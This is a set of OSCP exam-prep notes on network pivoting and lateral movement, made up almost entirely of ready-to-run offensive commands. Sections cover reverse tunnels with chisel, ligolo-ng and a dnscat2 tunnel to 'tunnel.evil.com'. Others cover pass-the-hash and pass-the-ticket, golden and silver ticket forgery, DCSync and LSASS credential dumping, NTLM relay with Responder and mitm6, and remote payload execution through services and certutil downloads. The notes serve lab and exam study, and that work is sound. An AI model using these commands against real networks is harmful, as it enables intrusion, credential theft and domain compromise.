Lateral Movement & Pivoting - Complete OSCP Notes

OSCP Prep

LATERAL MOVEMENT & PIVOTING — COMPLETE OSCP NOTES

Beginner → Advanced | All Commands | All Techniques

---

1. CORE CONCEPTS

Pivoting = using a compromised host (the "pivot" / "foothold") as a relay to reach networks you cannot access directly from your attack box.

Lateral movement = moving from one compromised host to another *within* the same or newly discovered network, usually using harvested credentials, tickets, hashes, or trust relationships.

Typical flow in OSCP-style labs:

```
Attacker (Kali) --> DMZ Host (foothold) --> Internal Network --> Domain Controller
```

Key terms

- **Dual-homed / multi-homed host**: a machine with 2+ NICs bridging networks.
- **Foothold**: first compromised machine.
- **SOCKS proxy**: generic proxy that tunnels arbitrary TCP (sometimes UDP) through a single pivot connection.
- **Port forward (local/remote/dynamic)**: redirecting a specific port through a tunnel.
- **Double pivot**: chaining two tunnels together (pivot through pivot A into network B, then from a host in network B into network C).

Enumeration before pivoting

```
# On the foothold (Linux)
ip a
ip route
cat /etc/resolv.conf
arp -a
netstat -antp
ss -antp
cat /etc/hosts

:: On the foothold (Windows)
ipconfig /all
route print
arp -a
netstat -ano
```

```
type C:\Windows\System32\drivers\etc\hosts
net view /all
net view /domain
nltest /dclist:<domain>
```

Also check:

```
# find other subnets reachable only from foothold
for i in $(seq 1 254); do (ping -c 1 -W 1 192.168.2.$i | grep "bytes
from" &); done
```

---

2. SSH TUNNELING (the OSCP bread-and-butter)

2.1 Local Port Forward (`-L`)

Access a remote service through the pivot, as if it were local.

```
ssh -L <local_port>:<target_ip>:<target_port> user@pivot_host
# Example: reach internal RDP (3389) on 10.10.10.5 via pivot
ssh -L 3389:10.10.10.5:3389 user@pivot
# then: rdesktop 127.0.0.1
```

2.2 Remote Port Forward (`-R`)

Expose a port on *your* attack box to the remote/pivot side (useful when pivot can't reach you, or to catch reverse shells from deeper hosts).

```
ssh -R <remote_port>:<local_ip>:<local_port> user@pivot_host
# Example: expose your Kali port 4444 as pivot's port 9999
ssh -R 9999:127.0.0.1:4444 user@pivot
```

2.3 Dynamic Port Forward / SOCKS Proxy (`-D`)

Turns SSH into a full SOCKS4/5 proxy — the most flexible option.

```
ssh -D 1080 user@pivot_host
# Keep tunnel alive without a shell:
ssh -f -N -D 1080 user@pivot_host
```

Then route all tools through it with **proxychains** (see §3).

2.4 Useful SSH flags

```
-f    # background after auth
-N    # do not execute remote command
-T    # disable pty allocation
-o StrictHostKeyChecking=no
-o UserKnownHostsFile=/dev/null
-i key.pem       # use private key
-p 2222          # non-standard port
-C               # compression (slow links)
-v / -vvv        # verbose debugging
```

2.5 Multi-hop SSH (double pivot via ProxyJump)

```
ssh -J user1@pivot1,user2@pivot2 user3@target
# or classic ProxyCommand:
ssh -o ProxyCommand="ssh -W %h:%p user@pivot1" user@target
```

2.6 Chaining -D through two hops manually

```
# Hop 1: Kali -> Pivot1, open SOCKS
ssh -D 1080 user@pivot1
# Hop 2: from within pivot1, SSH onward with its own -D, OR
# use sshuttle/chisel for simplicity instead of nested proxychains
```

2.7 sshuttle (poor-man's VPN over SSH, Linux attacker only)

```
sshuttle -r user@pivot_host 10.10.10.0/24
sshuttle -r user@pivot_host 10.10.10.0/24 -v --ssh-cmd "ssh -i
key.pem"
# Now you can hit 10.10.10.0/24 directly with nmap, curl, etc — no
proxychains needed.
```

---

3. PROXYCHAINS

Config file: `/etc/proxychains.conf` or `/etc/proxychains4.conf`

```
[ProxyList]
socks5 127.0.0.1 1080
```

Usage:

```
proxychains nmap -sT -Pn -p 445,3389 10.10.10.5
proxychains crackmapexec smb 10.10.10.0/24
proxychains xfreerdp /u:admin /p:Password1 /v:10.10.10.5
proxychains4 -q firefox   # -q quiet mode
```

Notes: - Only TCP works well; `-sT` (connect scan) required for nmap, never `-sS`. - UDP does not work through SOCKS4/5 via proxychains. - Chain multiple proxies by adding more lines + `dynamic_chain` at top of config.

---

4. CHISEL (fast, single static binary, HTTP-based, great for Windows pivots)

Download/transfer `chisel` to both sides (same binary works as client or server).

4.1 Basic reverse SOCKS (pivot has no inbound access, call back to Kali)

```
# Attacker (Kali) - server
chisel server -p 8000 --reverse

# Pivot (victim) - client calls back
chisel client <kali_ip>:8000 R:socks
```

This opens a SOCKS proxy on Kali at **127.0.0.1:1080** by default. Add to proxychains and go.

4.2 Forward mode (pivot is reachable, Kali connects to it)

```
# Victim/pivot - server
chisel server -p 8000 --socks5

# Attacker - client
chisel client <pivot_ip>:8000 1080:socks
```

4.3 Simple port forward with chisel

```
# Server (Kali)
chisel server -p 8000 --reverse
# Client (pivot) forwards target's 3389 to Kali's 3389
chisel client <kali_ip>:8000 R:3389:10.10.10.5:3389
```

4.4 Authenticated chisel + TLS (stealthier / exam-safe)

```
chisel server -p 8000 --reverse --auth user:pass
chisel client --auth user:pass <kali_ip>:8000 R:socks
```

4.5 Double pivot with chisel (two internal networks)

```
# Kali
chisel server -p 8000 --reverse

# Pivot1 (DMZ) - reaches Kali
chisel client <kali_ip>:8000 R:socks
# proxychains now reaches Network B through Pivot1

# From Network B, compromise Pivot2, repeat:
chisel client <kali_ip>:8000 R:socks   # second instance, same reverse port works for multiple clients
```

(In practice you often add a second local port, e.g. run a second `chisel server` on 8001, or use `R:1081:socks` style aliasing for clarity.)

---

5. LIGOLO-NG (modern favorite — TUN interface based, very fast, no proxychains lag)

Requires creating a TUN interface on attacker box.

```
# Attacker
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert               # start ligolo-ng proxy (listens 443 by default)

# Victim/pivot
./agent -connect <kali_ip>:443 -ignore-cert
```

On the proxy console:

```
ligolo-ng » session                # select the connected agent
ligolo-ng » ifconfig                 # view agent's interfaces/routes
```

Then on Kali, add a route to the newly discovered subnet via the tun device:

```
sudo ip route add 10.10.20.0/24 dev ligolo
```

Now **nmap, curl, smbclient, etc. work natively** — no proxychains needed, full TCP/UDP support.

5.1 Double pivot with ligolo-ng

```
# Start a listener on agent1 to relay to a new subnet discovered behind it
ligolo-ng » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
# Run second agent binary on pivot2, connecting back through pivot1's relay
```

```
./agent -connect <pivot1_ip>:11601 -ignore-cert
```

---

6. SOCAT (Swiss-army-knife relay — great when you only get command exec, no SSH)

6.1 Simple TCP relay / port forward

```
socat TCP-LISTEN:4444,fork TCP:10.10.10.5:445
```

6.2 Reverse shell relay (pivot listens, forwards to attacker)

```
# On pivot (acts as relay between victim's reverse shell and your listener)
socat TCP-LISTEN:8080,fork TCP:<kali_ip>:4444
```

6.3 Socat as a SOCKS-less tunnel for RDP/SMB

```
socat TCP-LISTEN:3389,fork,reuseaddr TCP:10.10.10.5:3389
```

6.4 Encrypted socat (OpenSSL cert) tunnel

```
# Listener
socat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:127.0.0.1:4444
# Connector
socat OPENSSL:<ip>:443,verify=0 TCP:127.0.0.1:4444
```

---

7. PLINK / NETSH (Windows-native pivoting, no extra tools needed)

7.1 Plink (PuTTY CLI) dynamic SOCKS from a Windows pivot

```
plink -ssh -D 1080 -P 22 user@kali_ip -pw password -N
```

7.2 netsh portproxy (built-in Windows, persistent port relay, no admin tunnel software)

```
netsh interface portproxy add v4tov4 listenport=3389 listenaddress=0.0.0.0 connectport=3389 connectaddress=10.10.10.5
netsh interface portproxy show all
netsh interface portproxy delete v4tov4 listenport=3389 listenaddress=0.0.0.0
```

Requires enabling IP forwarding/firewall rule:

```
netsh advfirewall firewall add rule name="pivot" protocol=TCP dir=in localport=3389 action=allow
```

---

8. METASPLOIT / METERPRETER PIVOTING

8.1 Autoroute (route traffic from MSF through a session)

```
meterpreter > run autoroute -s 10.10.10.0/24
# or from msfconsole
msf6 > use post/multi/manage/autoroute
msf6 > set SESSION 1
msf6 > set SUBNET 10.10.10.0
msf6 > run
```

8.2 SOCKS proxy module (pair with proxychains)

```
msf6 > use auxiliary/server/socks_proxy
msf6 > set SRVPORT 1080
msf6 > set VERSION 5
msf6 > run -j
```

Add to `/etc/proxychains.conf`: `socks5 127.0.0.1 1080`

8.3 portfwd (meterpreter local port forward)

```
meterpreter > portfwd add -l 3389 -p 3389 -r 10.10.10.5
meterpreter > portfwd list
meterpreter > portfwd delete -l 3389
```

8.4 Background session & keep pivoting

```
meterpreter > background
msf6 > sessions -i
```

---

9. DNS / ICMP TUNNELING (last-resort egress-filtered environments)

dnscat2

```
# Attacker (server)
ruby dnscat2.rb --dns="domain=tunnel.evil.com"

# Victim (client)
./dnscat --dns domain=tunnel.evil.com
```

ptunnel / icmpsh (ICMP tunneling, rarely needed in OSCP but good to know)

```
# Attacker
python2 icmpsh_m.py <attacker_ip> <victim_ip>
# Victim
icmpsh.exe -t <attacker_ip>
```

---

10. CREDENTIAL-BASED LATERAL MOVEMENT (Windows/AD)

10.1 Pass-the-Hash (PtH)

```
# crackmapexec / netexec
crackmapexec smb 10.10.10.0/24 -u administrator -H <NTLM_hash>
netexec smb 10.10.10.5 -u administrator -H <NTLM_hash> -x whoami

# psexec.py (impacket) with hash
```

```
impacket-psexec administrator@10.10.10.5 -hashes :<NTLM_hash>

# wmiexec.py with hash
impacket-wmiexec administrator@10.10.10.5 -hashes :<NTLM_hash>

# evil-winrm with hash
evil-winrm -i 10.10.10.5 -u administrator -H <NTLM_hash>

# xfreerdp with hash (restricted admin / PtH mode)
xfreerdp /v:10.10.10.5 /u:administrator /pth:<NTLM_hash>
```

10.2 Pass-the-Ticket (Kerberos, PtT)

```
# Export ticket with mimikatz on compromised host
mimikatz # sekurlsa::tickets /export

# Inject ticket (mimikatz)
mimikatz # kerberos::ptt ticket.kirbi

# Linux equivalent with impacket + ccache
export KRB5CCNAME=ticket.ccache
impacket-psexec -k -no-pass administrator@dc.domain.local
```

10.3 Overpass-the-Hash (NTLM hash → Kerberos TGT)

```
mimikatz # sekurlsa::pth /user:administrator /domain:domain.local
/ntlm:<hash> /run:cmd.exe
# Then from spawned cmd, use kerberos auth tools (klist, dir
\\dc\c$)

# Linux - getTGT.py (impacket)
impacket-getTGT domain.local/administrator -hashes :<NTLM_hash>
export KRB5CCNAME=administrator.ccache
```

10.4 Golden / Silver Tickets

```
# Golden Ticket (requires krbtgt hash + domain SID)
mimikatz # kerberos::golden /user:fakeadmin /domain:domain.local
/sid:<DOMAIN_SID> /krbtgt:<krbtgt_hash> /ptt

# Silver Ticket (requires service account hash, e.g. CIFS)
mimikatz # kerberos::golden /user:fakeadmin /domain:domain.local
/sid:<DOMAIN_SID> /target:fileserver.domain.local /service:cifs
/rc4:<service_hash> /ptt

# Linux: ticketer.py (impacket) for golden ticket
impacket-ticketer -nthash <krbtgt_hash> -domain-sid <SID> -domain
domain.local fakeadmin
```

10.5 DCSync (extract all domain hashes once you have rights)

```
mimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt
# impacket
impacket-secretsdump domain.local/administrator:password@10.10.10.5
impacket-secretsdump -hashes :<NTLM_hash> administrator@10.10.10.5
```

---

11. REMOTE EXECUTION / LATERAL MOVEMENT TOOLS (Windows)

11.1 PsExec (SysInternals / impacket)

```
psexec.exe \\10.10.10.5 -u administrator -p password cmd.exe
impacket-psexec administrator:password@10.10.10.5
```

11.2 WMI

```
wmic /node:10.10.10.5 /user:administrator /password:password process call create "cmd.exe /c whoami > C:\out.txt"
impacket-wmiexec administrator:password@10.10.10.5
```

11.3 WinRM / PowerShell Remoting

```
# From Windows attacker
Enter-PSSession -ComputerName 10.10.10.5 -Credential (Get-Credential)
winrs -r:10.10.10.5 -u:administrator -p:password cmd

# evil-winrm from Kali
evil-winrm -i 10.10.10.5 -u administrator -p 'Password1'
```

11.4 SMB / scheduled tasks / services (manual lateral movement)

```
# Copy a payload over SMB then trigger it remotely
smbclient //10.10.10.5/C$ -U administrator
impacket-atexec administrator:password@10.10.10.5 "whoami"
impacket-smbexec administrator:password@10.10.10.5
sc.exe \\10.10.10.5 create evilsvc binPath= "cmd /c whoami > c:\o.txt"
sc.exe \\10.10.10.5 start evilsvc
```

11.5 RDP

```
xfreerdp /v:10.10.10.5 /u:administrator /p:Password1 +clipboard /dynamic-resolution
rdesktop -u administrator -p Password1 10.10.10.5
```

---

12. CREDENTIAL HARVESTING THAT ENABLES LATERAL MOVEMENT

12.1 Mimikatz essentials

```
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::sam
mimikatz # sekurlsa::tickets
```

12.2 Dumping LSASS remotely (without mimikatz binary on disk)

```
# Using procdump then parse offline
procdump64.exe -accepteula -ma lsass.exe lsass.dmp
# On Kali: pypykatz
pypykatz lsa minidump lsass.dmp
```

12.3 Responder + relay (NTLM relay chain → lateral movement)

```
responder -I eth0 -rdwv
# Relay captured hash to another host (no cracking needed) using ntlmrelayx
impacket-ntlmrelayx -tf targets.txt -smb2support
```

12.4 mitm6 (IPv6 DNS takeover + relay, very common OSCP-adjacent AD attack)

```
        mitm6 -d domain.local
        impacket-ntlmrelayx -6 -t ldaps://10.10.10.10 -wh
fakewpad.domain.local -l lootme
```

---

13. LINUX-TO-LINUX LATERAL MOVEMENT

```
        # Reused SSH keys
        find / -name "id_rsa*" 2>/dev/null
        ssh -i id_rsa user@nexthost

        # Reused creds / password spray across hosts
        crackmapexec ssh 10.10.10.0/24 -u root -p 'password'
        hydra -l root -p password ssh://10.10.10.5

        # Sudo / SUID abuse after landing to escalate then move on
        sudo -l
        find / -perm -4000 2>/dev/null

        # Checking for cleartext creds / history / configs
        cat ~/.bash_history
        grep -ri "password" /etc/*.conf 2>/dev/null
        cat /var/www/html/**/config.php 2>/dev/null
```

---

14. FILE TRANSFER THROUGH A PIVOT (you'll need this constantly)

```
        # Via SSH already tunneled
        scp -o ProxyJump=user@pivot file.txt user@target:/tmp/

        # Via SMB share hosted on Kali (impacket)
        impacket-smbserver share $(pwd) -smb2support
        # On Windows victim:
        copy \\<kali_ip>\share\file.exe C:\Windows\Temp\

        # Via certutil (Windows, no admin needed)
        certutil.exe -urlcache -split -f http://<kali_ip>/file.exe file.exe

        # Via python http.server (simple, through a tunnel too)
        python3 -m http.server 8000
        # victim:
        curl http://<pivot_reachable_ip>:8000/file.sh -o file.sh

        # Through proxychains for tools that need to pull files via a pivot
        proxychains wget http://10.10.10.5/file
```

---

15. DOUBLE / TRIPLE PIVOT — FULL WORKED EXAMPLE

Scenario: Kali → DMZ-Host (10.10.10.0/24) → App-Server (172.16.1.0/24) → DC (only reachable from App-Server).

```
        # Step 1: foothold on DMZ-Host, open SOCKS back to Kali
        chisel server -p 8000 --reverse            # on Kali
        chisel client <kali_ip>:8000 R:socks        # on DMZ-Host

        # Step 2: proxychains nmap/smb to find App-Server from Kali
```

```
proxychains nmap -sT -Pn -p 22,445,3389 172.16.1.0/24

# Step 3: compromise App-Server through the first tunnel, e.g.
proxychains impacket-psexec administrator:pass@172.16.1.10

# Step 4: from a shell on App-Server, start a SECOND chisel client
#         pointing at the same Kali server (different remote alias)
to reach DC's subnet
chisel client <kali_ip>:8000 R:socks

# Step 5: proxychains now resolves BOTH subnets because both agents
#         registered SOCKS routes back to the same Kali listener
proxychains crackmapexec smb 172.16.2.0/24   # DC subnet
```

With **ligolo-ng** the same scenario is cleaner because you literally `ip route add` each new subnet as you discover it, through nested agents/listeners — no proxychains overhead at all.

---

16. QUICK REFERENCE / CHEAT TABLE

Goal	Best Tool	One-liner
Quick SOCKS via SSH	ssh -D	`ssh -D 1080 -f -N user@pivot`
No SSH, Windows pivot	chisel	`chisel client kali:8000 R:socks`
Best UX, full subnet routing	ligolo-ng	`ip route add <subnet> dev ligolo`
Single port only	socat / ssh -L	`ssh -L 3389:target:3389 user@pivot`
VPN-like, Linux attacker	sshuttle	`sshuttle -r user@pivot 10.10.10.0/24`
From Meterpreter session	autoroute + socks_proxy	`run autoroute -s <subnet>`
Pass creds without cracking	crackmapexec / netexec	`-u user -H <hash>`
Kerberos ticket reuse	mimikatz / impacket	`kerberos::ptt ticket.kirbi`
Full domain hash dump	secretsdump	`impacket-secretsdump domain/user:pass@dc`

---

17. TROUBLESHOOTING / GOTCHAS (learned the hard way)

- **proxychains + nmap**: always use `-sT -Pn -n --top-ports` (no ping sweep, no SYN scan, no DNS).
- **SOCKS does not carry ICMP** — `ping` through proxychains never works; use `nmap -Pn` or `nc` instead to test host liveness.
- **UDP services (e.g. SNMP, some DNS)** will not work over SOCKS4/5 chains — use ligolo-ng (supports UDP) or a VPN-style tunnel.
- Chisel defaults: SOCKS proxy listens on **127.0.0.1:1080** on whichever side has `socks`/`R:socks`.
- When using `-R` remote SSH forwards, make sure `GatewayPorts yes` is set in `/etc/ssh/sshd_config` on the box doing the listening if you need other hosts (not just localhost) to reach that forwarded port.
- Always background long tunnels: `ssh -f -N ...`, `chisel ... &`, or use `screen`/`tmux` on the pivot so the tunnel survives shell drops.
- Firewalls: `netsh advfirewall firewall add rule` may be required on

Windows pivots before portproxy works.
- Clean up afterwards: remove `netsh portproxy`, kill backgrounded ssh/chisel/ligolo processes, delete dropped binaries — good OSCP hygiene and required for real engagements.

---

18. EXAM-DAY MENTAL CHECKLIST

1. Enumerate NICs/routes on every new host (`ip a`, `ipconfig /all`, `route print`).
2. Decide pivot tool based on constraints: SSH access? → `ssh -D`. Only HTTP egress / Windows box? → `chisel`. Need full subnet + UDP? → `ligolo-ng`.
3. Add discovered subnet to proxychains/route immediately — don't wait.
4. Re-run full enumeration (nmap, smb, etc.) **through** the tunnel against the new subnet.
5. Look for credential reuse before trying exploits — lateral movement in OSCP is usually creds > 0-days.
6. Document every tunnel command and port used (you'll need it for the report).
7. Kill/clean tunnels before moving to the next host so ports don't collide.

End of notes — compiled for OSCP PEN-200 style lateral movement & pivoting practice.